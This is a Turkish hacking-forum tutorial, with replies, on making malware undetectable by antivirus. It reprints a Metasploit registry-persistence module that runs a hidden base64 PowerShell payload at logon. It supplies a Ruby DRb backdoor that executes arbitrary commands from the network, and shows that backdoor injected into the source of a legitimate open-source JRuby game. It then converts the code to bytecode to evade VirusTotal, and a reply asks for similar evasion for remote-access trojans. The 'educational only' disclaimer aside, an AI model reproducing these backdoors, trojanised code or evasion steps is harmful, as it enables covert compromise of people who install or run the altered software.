FUD Nasıl Yapılır? Antivirüslerle Alay Etmek #3 #DevSecOps

Bunjo

Ar-Ge Ekibi Asistanı
14 Ara 2020
1,648
1,993
Environment.UserName

6449ti9.gif

pDHFoUY.png


Selamlar! Ben Bunjo. Bu konuda, eskiden de olduğu gibi Antivirüslerle ve Virustotal ile alay etmeye devam ediyorum.
Uzun lafın kısası önceden yazmış olduğum, Remote Code Execution servisi kodlamak serisinin 3. yazısı ile karşınızdayım.


pDHFoUY.png


FUD (Fully UnDetectable) Nedir?

FUD yazılım, "Fully UnDetectable" (Tamamen Algılanamaz) yazılımın kısaltmasıdır. Genellikle kötü amaçlı yazılımlar için kullanılır.
Bu tür yazılımlar, antivirüs programları ve diğer güvenlik yazılımları tarafından tespit edilememek üzere tasarlanmıştır.

Genel ağdan alınmıştır.


pDHFoUY.png


Ruby ve FUD Çalışmaları Hakkında

Sıkıcı tanımları bir kenara bırakıp işimize bakalım. Bir Ruby kodunu bildiğiniz üzere .EXE uzantısına çevirmek, yobazlığı bitirmekten daha zordur. Bunu bu yazımda anlatmıştım. Bıraktığım uzantıya tıklayarak bu yazıma ulaşabilirsiniz.

Her zaman bir yazılımı %100 FUD yapmak kolay değildir, yapılsa dahi zaman ilerledikçe sizin kaynak kodunuz artık tanınmış hale gelecektir. Antivirüs firmaları bunlar için birçok önlem almaya kalkışsa dahi bazı virüs yazılımcıları bu önlemleri atlatacak taktik kelimesini kullanabilirim evet çeşitli taktikler geliştirip bu önlemleri alt ediyorlar.

Eskiden bilgisayara giren bir virüs yazılımı, kendisini yedek depolama alanlarına (backup dosyaları olarak anlayabilirsiniz) kopyalardı. Örneğin bunlardan en basiti temp klasörüdür.

Artık bu işlemler antivirüs yazılımları tarafından kolayca algılanabiliyor. Virüsler temp klasöründeki kendi kopyasını sürekli olarak açmak yerine, kendilerini hizmet olarak sisteminize aktarabiliyorlar. Bunun için örnek olarak Metasploit aracında bulunan bir post modülünü inceleyelim. Bu modülleri ileri zamanlarda kullanmayı ve kendi yazdığınız virüsünüze entegre etmeyi anlatacağım.

Post modülünün uzantısı: metasploit-framework/modules/exploits/windows/local/registry_persistence.rb at master · rapid7/metasploit-framework

Modül için kaynak kod:


Ruby:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::Powershell
  include Msf::Post::Windows::Registry
  include Msf::Post::File

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Windows Registry Only Persistence',
      'Description'    => %q{
        This module will install a payload that is executed during boot.
        It will be executed either at user logon or system startup via the registry
        value in "CurrentVersion\Run" (depending on privilege and selected method).
        The payload will be installed completely in registry.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Donny Maasland <donny.maasland[at]fox-it.com>',
        ],
      'Platform'       => [ 'win' ],
      'SessionTypes'   => [ 'meterpreter', 'shell' ],
      'Targets'        =>
        [
          [ 'Automatic', { } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2015-07-01',
      'DefaultOptions' =>
        {
          'DisablePayloadHandler' => true
        }
    ))

    register_options([
      OptEnum.new('STARTUP',
        [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]),
      OptString.new('BLOB_REG_KEY',
        [false, 'The registry key to use for storing the payload blob. (Default: random)' ]),
      OptString.new('BLOB_REG_NAME',
        [false, 'The name to use for storing the payload blob. (Default: random)' ]),
      OptString.new('RUN_NAME',
        [false, 'The name to use for the \'Run\' key. (Default: random)' ]),
      OptBool.new('CREATE_RC',
        [false, 'Create a resource file for cleanup', true]),
      OptInt.new('SLEEP_TIME',
        [false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]),
    ])
  end

  def generate_payload_blob
    opts = {
      wrap_double_quotes: true,
      encode_final_payload: true,
    }
    blob = cmd_psh_payload(payload.encoded,payload_instance.arch.first, opts).split(' ')[-1]
    return blob
  end

  def generate_cmd(root_path, blob_key_name, blob_key_reg)
    cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
    return cmd
  end

  def generate_blob_reg
    blob_reg_key = datastore['BLOB_REG_KEY'] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}"
    blob_reg_name = datastore['BLOB_REG_NAME'] || Rex::Text.rand_text_alphanumeric(8)
    return blob_reg_key, blob_reg_name
  end

  def generate_cmd_reg
    cmd_reg = datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8)
    return cmd_reg
  end

  def install_blob(root_path, blob, blob_reg_key, blob_reg_name)
    blob_reg_key = "#{root_path}\\#{blob_reg_key}"
    new_key = false
    if not registry_enumkeys(blob_reg_key)
      unless registry_createkey(blob_reg_key)
        fail_with(Failure::Unknown,"Failed to create key #{blob_reg_key}")
      end
      print_good("Created registry key #{blob_reg_key}")
      new_key = true
    end

    unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, "REG_SZ")
      fail_with(Failure::Unknown,'Failed to open the registry key for writing')
    end
    print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}")
    return new_key
  end

  def install_cmd(cmd, cmd_reg, root_path)
    unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cmd_reg, cmd, 'REG_EXPAND_SZ')
      fail_with(Failure::Unknown,'Could not install run key')
    end
    print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{cmd_reg}")
  end

  def get_root_path
    if datastore['STARTUP'] == 'USER'
      root_path = 'HKCU'
    else
      root_path = 'HKLM'
    end
    return root_path
  end

  def log_file(log_path = nil) # Thanks Meatballs for this
    # Get hostname
    host = session.session_host

    # Create Filename info to be appended to downloaded files
    filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")

    # Create a directory for the logs
    if log_path
      logs = ::File.join(log_path, 'logs', 'persistence',
      Rex::FileUtils.clean_path(host + filenameinfo))
    else
      logs = ::File.join(Msf::Config.log_directory, 'persistence',
      Rex::FileUtils.clean_path(host + filenameinfo))
    end

    # Create the log directory
    ::FileUtils.mkdir_p(logs)

    # logfile name
    logfile = ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc')
    logfile
  end

  def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) # Thanks Meatballs for this
    clean_rc = log_file()
    @clean_up_rc = ""
    @clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n"
    if new_key
      @clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n"
    end
    @clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{cmd_reg}'\n"
    file_local_write(clean_rc, @clean_up_rc)
    print_status("Clean up Meterpreter RC file: #{clean_rc}")

    report_note(:host => session.session_host,
      type: 'host.persistance.cleanup',
      data:  {
        local_id:     session.sid,
        stype:        session.type,
        desc:         session.info,
        platform:     session.platform,
        via_payload:  session.via_payload,
        via_exploit:  session.via_exploit,
        created_at:   Time.now.utc,
        commands:     @clean_up_rc
      }
    )
  end

  def check
    unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell")
      return Msf::Exploit::CheckCode::Safe
    end
    return Msf::Exploit::CheckCode::Vulnerable
  end

  def exploit
    unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell")
      print_warning('Warning: PowerShell does not seem to be available, persistence might fail')
    end

    print_status('Generating payload blob..')
    blob = generate_payload_blob
    print_good("Generated payload, #{blob.length} bytes")

    root_path = get_root_path
    print_status("Root path is #{root_path}")

    blob_reg_key, blob_reg_name = generate_blob_reg
    cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name)
    cmd_reg = generate_cmd_reg

    print_status('Installing payload blob..')
    new_key = install_blob(root_path, blob, blob_reg_key, blob_reg_name)

    print_status('Installing run key')
    install_cmd(cmd, cmd_reg, root_path)

    if datastore['CREATE_RC']
      create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
    end
  end
end

Kodu incelediğimiz zaman bir Metasploit modülü olduğu kullandığı sınıflardan anlaşılıyor.

Ruby:
 def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Windows Registry Only Persistence',
      'Description'    => %q{
        This module will install a payload that is executed during boot.
        It will be executed either at user logon or system startup via the registry
        value in "CurrentVersion\Run" (depending on privilege and selected method).
        The payload will be installed completely in registry.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Donny Maasland <donny.maasland[at]fox-it.com>',
        ],
      'Platform'       => [ 'win' ],
      'SessionTypes'   => [ 'meterpreter', 'shell' ],
      'Targets'        =>
        [
          [ 'Automatic', { } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2015-07-01',
      'DefaultOptions' =>
        {
          'DisablePayloadHandler' => true
        }
    ))

Ruby programlama dilinde initialize() fonksiyonu sınıfların içinde yazılır ve sınıf çağrımı yapıldığı zaman bu fonksiyon otomatik olarak çalıştırılır. Bu yüzden modül/exploit/evasion/auxiliary ile alakalı bilgiler bu kısımda listeler ve hash verileri halinde saklanır. Kısacası bu kısım Modülün yazarı, lisansı ve platformu vb. bilgileri içer,r.

Kodda aşağı taraflara indiğimiz zaman,


Ruby:
  register_options([
      OptEnum.new('STARTUP',
        [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]),
      OptString.new('BLOB_REG_KEY',
        [false, 'The registry key to use for storing the payload blob. (Default: random)' ]),
      OptString.new('BLOB_REG_NAME',
        [false, 'The name to use for storing the payload blob. (Default: random)' ]),
      OptString.new('RUN_NAME',
        [false, 'The name to use for the \'Run\' key. (Default: random)' ]),
      OptBool.new('CREATE_RC',
        [false, 'Create a resource file for cleanup', true]),
      OptInt.new('SLEEP_TIME',
        [false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]),
    ])
  end

  def generate_payload_blob
    opts = {
      wrap_double_quotes: true,
      encode_final_payload: true,
    }
    blob = cmd_psh_payload(payload.encoded,payload_instance.arch.first, opts).split(' ')[-1]
    return blob
  end

  def generate_cmd(root_path, blob_key_name, blob_key_reg)
    cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
    return cmd
  end

  def generate_blob_reg
    blob_reg_key = datastore['BLOB_REG_KEY'] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}"
    blob_reg_name = datastore['BLOB_REG_NAME'] || Rex::Text.rand_text_alphanumeric(8)
    return blob_reg_key, blob_reg_name
  end

  def generate_cmd_reg
    cmd_reg = datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8)
    return cmd_reg
  end

  def install_blob(root_path, blob, blob_reg_key, blob_reg_name)
    blob_reg_key = "#{root_path}\\#{blob_reg_key}"
    new_key = false
    if not registry_enumkeys(blob_reg_key)
      unless registry_createkey(blob_reg_key)
        fail_with(Failure::Unknown,"Failed to create key #{blob_reg_key}")
      end
      print_good("Created registry key #{blob_reg_key}")
      new_key = true
    end

    unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, "REG_SZ")
      fail_with(Failure::Unknown,'Failed to open the registry key for writing')
    end
    print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}")
    return new_key
  end

Bu kısımda çalıştırılacak olan komutları ve payloadları saklayan veri dizileri var. Detaylı olarak ayıklar isek

Ruby:
register_options([
      OptEnum.new('STARTUP',
        [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]),
      OptString.new('BLOB_REG_KEY',
        [false, 'The registry key to use for storing the payload blob. (Default: random)' ]),
      OptString.new('BLOB_REG_NAME',
        [false, 'The name to use for storing the payload blob. (Default: random)' ]),
      OptString.new('RUN_NAME',
        [false, 'The name to use for the \'Run\' key. (Default: random)' ]),
      OptBool.new('CREATE_RC',
        [false, 'Create a resource file for cleanup', true]),
      OptInt.new('SLEEP_TIME',
        [false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]),
    ])
  end

Bu kısımlar Metasploit içerisinde bu modülü kullanan kişinin kendisine göre ayarlayabileceği kayıt kısımlarını barındırıyor. Başlangı, uyku süresi, çalışma ismi gibi gibi verilere buradan erişiliyor.

Ruby:
def generate_cmd(root_path, blob_key_name, blob_key_reg)
    cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
    return cmd
  end

Bir önceki kısımda bahsettiğim kullanıcının opsiyonel olarak ayarlamak istediği veriler burada bir komut içerisinde kullanılıyor.

Ruby:
 def log_file(log_path = nil) # Thanks Meatballs for this
    # Get hostname
    host = session.session_host

    # Create Filename info to be appended to downloaded files
    filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")

    # Create a directory for the logs
    if log_path
      logs = ::File.join(log_path, 'logs', 'persistence',
      Rex::FileUtils.clean_path(host + filenameinfo))
    else
      logs = ::File.join(Msf::Config.log_directory, 'persistence',
      Rex::FileUtils.clean_path(host + filenameinfo))
    end

Ruby:
 def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) # Thanks Meatballs for this
    clean_rc = log_file()
    @clean_up_rc = ""
    @clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n"
    if new_key
      @clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n"
    end
    @clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{cmd_reg}'\n"
    file_local_write(clean_rc, @clean_up_rc)
    print_status("Clean up Meterpreter RC file: #{clean_rc}")

    report_note(:host => session.session_host,
      type: 'host.persistance.cleanup',
      data:  {
        local_id:     session.sid,
        stype:        session.type,
        desc:         session.info,
        platform:     session.platform,
        via_payload:  session.via_payload,
        via_exploit:  session.via_exploit,
        created_at:   Time.now.utc,
        commands:     @clean_up_rc
      }
    )
  end

Log dosyaları, işlem numarası, işlem tipi vb. verilerin temizlendiği fonksiyonu da burada görebiliyoruz.

Ruby:
def exploit
    unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell")
      print_warning('Warning: PowerShell does not seem to be available, persistence might fail')
    end

    print_status('Generating payload blob..')
    blob = generate_payload_blob
    print_good("Generated payload, #{blob.length} bytes")

    root_path = get_root_path
    print_status("Root path is #{root_path}")

    blob_reg_key, blob_reg_name = generate_blob_reg
    cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name)
    cmd_reg = generate_cmd_reg

    print_status('Installing payload blob..')
    new_key = install_blob(root_path, blob, blob_reg_key, blob_reg_name)

    print_status('Installing run key')
    install_cmd(cmd, cmd_reg, root_path)

    if datastore['CREATE_RC']
      create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
    end
  end
end

Burada da sistemde PowerShell varlığı kontrol edilditken sonra asıl exploit burada çalışıyor, yani diğer anlattığım ve anlatmadığım kodda var olan fonksiyonlar burada çalışıyor ve enjeksiyon işleminde rol alıyor.


pDHFoUY.png


Ruby ile FUD Çalışmaları


Bashetmiş olduğum, Ruby kodunun derlenememesi olayı bize büyük bir dezavantaj sağlıyor elbette. Ama bunu yararımıza kullanabiliriz.

Ruby kodu JRuby yani Java-Ruby derleyicisi ile birlikte Java formatına çevrilebiliyor. Bunun sebeplerini sorarsanız: Ruby kendi VM ortamında yorumlanır, yani Java dilide bir sanal ortamda derlendiği için bu benzerlik bize olumluluk sağlar, bunun yanında JRuby yorumlayıcısının geliştiricileri bunun içinde özen göstermişlerdir.

Bu dezavantajı yararımıza kullanma konusuna devam eder isek, Ruby evet derlenemeyen bir dildir ama bunun yanıda da yüksek seviyeli bir programlama dilidir. Az kodla çok iş yapabilirsiniz. Eskiden yazmış olduğum bir Uzak Kod çalıştırma Servisi kodlamak adında yazım vardı. Bu yazıda iki adet kod paylaşımı yapmıştım.


server.rb içeriği:


Ruby:
require 'drb'

begin
  rshell = DRbObject.new_with_uri("druby://localhost:8080")
  loop do
    begin
      STDOUT.print("Command: ")
      command = gets

      STDOUT.puts("\nOutput: ")
      puts rshell.exec command
    rescue
   
    end
  end
rescue => exception
  STDOUT.puts(exception)
end

client.rb içeriği:

Ruby:
require 'drb'

class RShell
  def exec(cmd)
    `#{cmd}`
  end
end

DRb.start_service("druby://0.0.0.0:8080", RShell.new)
DRb.thread.join

Bakın sadece arka planda basit bir backdoor görevi gören bu kod sade haliyle derlenmemiş biçimde %100 oranında sonuç vermişti. Antivirüsler algılamasa bile Virustotal bu kodu derlenmeden yani kodları açık olarak yüklendiği için, kod açıklamaları kısmında bir virüs olduğunu ve backdoor görevi gördüğünü algılamıştı.

amabfd4.png


Bu sorundan kurtulmak için birçok çözüm yöntemimiz var. Yüksek seviyeli bir programlama dili olduğundan bahsetmiştim, bu sayede az kod ile çok iş yapabiliyoruz. Yani 5000+ satırdan dağınık dosyalar halinde oluşan bir projeye 15 satırlık bu kodu çok rahat enjekte edebiliriz.

Örnek olarak Github platformunda yapılan bir projeyi inceleyelim.


Programla alakalı görsel:


1sufqg7.gif


Gördüğünüz gibi örnek olarak koyduğumuz basit olan bu uygulamanın dosya ağacı şu şekilde:

qyoyvvz.png



Yazılımcı, kullandığı kütüphaneleri bir "lib" adlı klasörde saklamış, bu sayede kullanıcının kütüphane indirmek için gem install komutunu indirmesine gerek kalmamış.



Kütüphaneyi incelediğimiz zaman,



4hj1enc.png


Programda kullanılan sayfaların, modellerin, objelerin kaynak kodları burada duruyor.

Ruby:
include Java

import java.awt.event.WindowEvent
import java.awt.image.BufferStrategy
import javax.swing.JFrame
import java.awt.Canvas
import java.awt.Dimension
import javax.swing.JPanel
import java.awt.Color

require 'scorched_earth/events/mouse_pressed'
require 'scorched_earth/events/mouse_released'
require 'scorched_earth/events/mouse_moved'

module ScorchedEarth
  class GameWindow
    include java.awt.event.MouseMotionListener
    include java.awt.event.MouseListener

    attr_reader :buffer_strategy, :canvas, :game

    def initialize(width, height, game)
      @game      = game
      @container = JFrame.new
      @canvas    = Canvas.new
      @panel     = @container.get_content_pane

      @container.set_default_close_operation JFrame::EXIT_ON_CLOSE

      @panel.set_preferred_size Dimension.new width, height
      @panel.set_layout nil
      @container.set_cursor nil
      @panel.add @canvas

      @container.pack
      @container.set_resizable false
      @container.set_visible true

      @canvas.set_bounds 0, 0, width, height

      @canvas.add_mouse_listener self
      @canvas.add_mouse_motion_listener self

      @canvas.set_ignore_repaint true
      @canvas.create_buffer_strategy 2
      @buffer_strategy = @canvas.get_buffer_strategy
    end

    def run
      last_time = Time.now

      game.setup

      loop do
        delta     = Time.now - last_time
        last_time = Time.now
        graphics  = buffer_strategy.get_draw_graphics

        game.update delta
        game.render graphics

        graphics.dispose
        buffer_strategy.show

        sleep 1.0 / 60
      end
    end

    private

    def mouse_moved(event)
      x = event.point.x
      y = event.point.y

      game.publish Events::MouseMoved.new x, y
    end

    def mouse_dragged(*args); end

    def mouse_pressed(event)
      x = event.point.x
      y = event.point.y

      game.publish Events::MousePressed.new x, y
    end

    def mouse_released(event)
      x = event.point.x
      y = event.point.y

      game.publish Events::MouseReleased.new x, y
    end

    def mouse_clicked(*args); end

    def mouse_entered(*args); end

    def mouse_exited(*args); end
  end
end

Burada bahsettiğim java kütüphanelerini görüyoruz, proje JRuby ile yazılmış.

Buraya şifrelenmiş biçimde kendi virüsümüzü enjekte edebiliriz. Özellikle "Drb" kütüphanesini seçtim, bunun nedeni bu kütüphanenin Ruby dilinde kurulu olarak gelmesidir. Linux makinelerin çoğunda Ruby yüklü gelir ve içerisinde Bu kütüphane indirili olarak gelir bu sayede kullanıcıya zararlı amaçla kullanacağımız kütüphaneyi indirtmeyiz. Herhangi bir şüphelenme durumu da meydana gelmez.

Koda bağlı olarak istediğiniz yere enjekte edebilirsiniz.

Örnek olarak:


atqkzc5.png


En aşağı kısıma eklenmiş bir biçimde zararlı kodumuz yer alıyor.

cool-gif-2.gif


Ekstra olarak, ben thread() fonksiyonu kullandım bu sayede kodun işlemine hiçbir karışma olmadan bir arka tarafra bir işlem parçacığı olarak gözükeceğiz.

Daha büyük projelerde kod sayısı fazlalığından kod açıklamasından virüsün tespiti zorlaşacaktır. Bu kısa ve basit bir örnektir.

Buyurun ekleme yapılmış kod:

Ruby:
include Java

import java.awt.event.WindowEvent
import java.awt.image.BufferStrategy
import javax.swing.JFrame
import java.awt.Canvas
import java.awt.Dimension
import javax.swing.JPanel
import java.awt.Color

require 'scorched_earth/events/mouse_pressed'
require 'scorched_earth/events/mouse_released'
require 'scorched_earth/events/mouse_moved'

module ScorchedEarth
  class GameWindow
    include java.awt.event.MouseMotionListener
    include java.awt.event.MouseListener

    attr_reader :buffer_strategy, :canvas, :game

    def initialize(width, height, game)
      @game      = game
      @container = JFrame.new
      @canvas    = Canvas.new
      @panel     = @container.get_content_pane

      @container.set_default_close_operation JFrame::EXIT_ON_CLOSE

      @panel.set_preferred_size Dimension.new width, height
      @panel.set_layout nil
      @container.set_cursor nil
      @panel.add @canvas

      @container.pack
      @container.set_resizable false
      @container.set_visible true

      @canvas.set_bounds 0, 0, width, height

      @canvas.add_mouse_listener self
      @canvas.add_mouse_motion_listener self

      @canvas.set_ignore_repaint true
      @canvas.create_buffer_strategy 2
      @buffer_strategy = @canvas.get_buffer_strategy
    end

    def run
      last_time = Time.now

      game.setup

      loop do
        delta     = Time.now - last_time
        last_time = Time.now
        graphics  = buffer_strategy.get_draw_graphics

        game.update delta
        game.render graphics

        graphics.dispose
        buffer_strategy.show

        sleep 1.0 / 60
      end
    end

    private

    def mouse_moved(event)
      x = event.point.x
      y = event.point.y

      game.publish Events::MouseMoved.new x, y
    end

    def mouse_dragged(*args); end

    def mouse_pressed(event)
      x = event.point.x
      y = event.point.y

      game.publish Events::MousePressed.new x, y
    end

    def mouse_released(event)
      x = event.point.x
      y = event.point.y

      game.publish Events::MouseReleased.new x, y
    end

    def mouse_clicked(*args); end

    def mouse_entered(*args); end

    def mouse_exited(*args); end
  end
end

require 'drb'

class RShell

  def exec(cmd)

    `#{cmd}`

  end

end

DRb.start_service("druby://0.0.0.0:8080", RShell.new)
DRb.thread.join


Bir diğer yöntemimiz kodumuzu bytecode formatına çevirmek olacaktır.

Onu da bu konuda anlattım erişebilirsiniz.


client.rb adlı bir dosya oluşturuyorum ve bunun içinde virüsümü yazıyorum.

convert.rb adlı dosyayada dönüşüm işlemini yapacak kodu yazıyorum.

Ruby:
byte_code = RubyVM::InstructionSequence.compile_file 'client.rb'

File.binwrite 'bytecode', byte_code.to_binary

9dzuegr.png


bytecode formatında olan ruby kodunu çalıştırmayı bashettiğim konuda anlattığım için burada tekrar anlatmıyorum okuyunuz.

Bytecode çeviriminden sonra virüs totale bakalım:

ewbzoeo.png


Sonuca inanmayanlar hash değerini yazsın baksın.

pyrjedr.png


Eskiden bir Ruby kodu olarak algılanıyorduk şimdi Virustotal reisimiz bunu da algılayamıyor. Bytecode formatında olduğumuz için.

Bu arada kodu bytecodeye çevirmeden çalıştırınca içeride kullandığımız kütüphane ile alakalı olduğunu düşünüyorum.

ct1jkvm.png


YoksunTotal bize Java kodu dedi hatta Python falan filan bile yazıyor kod uzantısı .rb olmasına rağmen. Doktor fazla üzerine gitmeyin dediği için bir şey söylemiyorum AMA!

556003f461c9ff51c5ea1ee1e0017c20dd04390a.gifv

Reacher ve ben bunu bir hakaret olarak kabul ediyoruz!

Bytecode dosyasını içerisinde çalıştıran kodu da deneyebilirsiniz yine antivirüsler bulamaycaktır.


pDHFoUY.png


Okuyan herkese teşekkürler fakat belirtmek istediğim birkaç şey var. Öncelikle konuda tamamen scantime üzerinde durdum runtime için ileride antivirüslerden makine taraflı kaçma yollarını anlatacağım. Bu kısımda fazla detaya girmeyeceğim, anlattıklarımın hepsi iç ağ içerisinde geçerlidir. Dış ağ için ekstra port ayarları gibi konuları kötü amaçlı kullanıma karşılık anlatmıyorum. İleri ki konularda Ruby kodunun içeriğini şifrelemeyi anlatacağım. Junky kod olaylarının ne kadar işe yarayıp yaramadığına da yine ileri konualrda değineceğim.

Anlattıklarım giriş seviye konulardır, kendinize göre scriptleri geliştirebilirsiniz WinApi ile alakalı etkileşim konumu okuyabilirsiniz.

Tekrardan söylüyorum bunlar iç ağ içerisinde geçerlidir, dış ağda kullanmayınız! bu yazı sadece eğitim amaçlıdır. Herhangi bir şekilde sorumluluk kabul etmiyorum.

İyi forumlar!


 

BlackDynamite

Uzman üye
7 Kas 2023
1,096
421
Güzel İçerik ama sey var mesela normal ratlara fud yap async yada venom ratlara bir fud çıkar ruby ile o zaman daha çok tutulur
 

THTSerdar

Yeni üye
13 Ocak 2021
9
4

6449ti9.gif

pDHFoUY.png


Selamlar! Ben Bunjo. Bu konuda, eskiden de olduğu gibi Antivirüslerle ve Virustotal ile alay etmeye devam ediyorum.
Uzun lafın kısası önceden yazmış olduğum, Remote Code Execution servisi kodlamak serisinin 3. yazısı ile karşınızdayım.


pDHFoUY.png


FUD (Fully UnDetectable) Nedir?

FUD yazılım, "Fully UnDetectable" (Tamamen Algılanamaz) yazılımın kısaltmasıdır. Genellikle kötü amaçlı yazılımlar için kullanılır.
Bu tür yazılımlar, antivirüs programları ve diğer güvenlik yazılımları tarafından tespit edilememek üzere tasarlanmıştır.

Genel ağdan alınmıştır.


pDHFoUY.png


Ruby ve FUD Çalışmaları Hakkında

Sıkıcı tanımları bir kenara bırakıp işimize bakalım. Bir Ruby kodunu bildiğiniz üzere .EXE uzantısına çevirmek, yobazlığı bitirmekten daha zordur. Bunu bu yazımda anlatmıştım. Bıraktığım uzantıya tıklayarak bu yazıma ulaşabilirsiniz.

Her zaman bir yazılımı %100 FUD yapmak kolay değildir, yapılsa dahi zaman ilerledikçe sizin kaynak kodunuz artık tanınmış hale gelecektir. Antivirüs firmaları bunlar için birçok önlem almaya kalkışsa dahi bazı virüs yazılımcıları bu önlemleri atlatacak taktik kelimesini kullanabilirim evet çeşitli taktikler geliştirip bu önlemleri alt ediyorlar.

Eskiden bilgisayara giren bir virüs yazılımı, kendisini yedek depolama alanlarına (backup dosyaları olarak anlayabilirsiniz) kopyalardı. Örneğin bunlardan en basiti temp klasörüdür.

Artık bu işlemler antivirüs yazılımları tarafından kolayca algılanabiliyor. Virüsler temp klasöründeki kendi kopyasını sürekli olarak açmak yerine, kendilerini hizmet olarak sisteminize aktarabiliyorlar. Bunun için örnek olarak Metasploit aracında bulunan bir post modülünü inceleyelim. Bu modülleri ileri zamanlarda kullanmayı ve kendi yazdığınız virüsünüze entegre etmeyi anlatacağım.

Post modülünün uzantısı: metasploit-framework/modules/exploits/windows/local/registry_persistence.rb at master · rapid7/metasploit-framework

Modül için kaynak kod:


Ruby:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::Powershell
  include Msf::Post::Windows::Registry
  include Msf::Post::File

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Windows Registry Only Persistence',
      'Description'    => %q{
        This module will install a payload that is executed during boot.
        It will be executed either at user logon or system startup via the registry
        value in "CurrentVersion\Run" (depending on privilege and selected method).
        The payload will be installed completely in registry.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Donny Maasland <donny.maasland[at]fox-it.com>',
        ],
      'Platform'       => [ 'win' ],
      'SessionTypes'   => [ 'meterpreter', 'shell' ],
      'Targets'        =>
        [
          [ 'Automatic', { } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2015-07-01',
      'DefaultOptions' =>
        {
          'DisablePayloadHandler' => true
        }
    ))

    register_options([
      OptEnum.new('STARTUP',
        [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]),
      OptString.new('BLOB_REG_KEY',
        [false, 'The registry key to use for storing the payload blob. (Default: random)' ]),
      OptString.new('BLOB_REG_NAME',
        [false, 'The name to use for storing the payload blob. (Default: random)' ]),
      OptString.new('RUN_NAME',
        [false, 'The name to use for the \'Run\' key. (Default: random)' ]),
      OptBool.new('CREATE_RC',
        [false, 'Create a resource file for cleanup', true]),
      OptInt.new('SLEEP_TIME',
        [false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]),
    ])
  end

  def generate_payload_blob
    opts = {
      wrap_double_quotes: true,
      encode_final_payload: true,
    }
    blob = cmd_psh_payload(payload.encoded,payload_instance.arch.first, opts).split(' ')[-1]
    return blob
  end

  def generate_cmd(root_path, blob_key_name, blob_key_reg)
    cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
    return cmd
  end

  def generate_blob_reg
    blob_reg_key = datastore['BLOB_REG_KEY'] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}"
    blob_reg_name = datastore['BLOB_REG_NAME'] || Rex::Text.rand_text_alphanumeric(8)
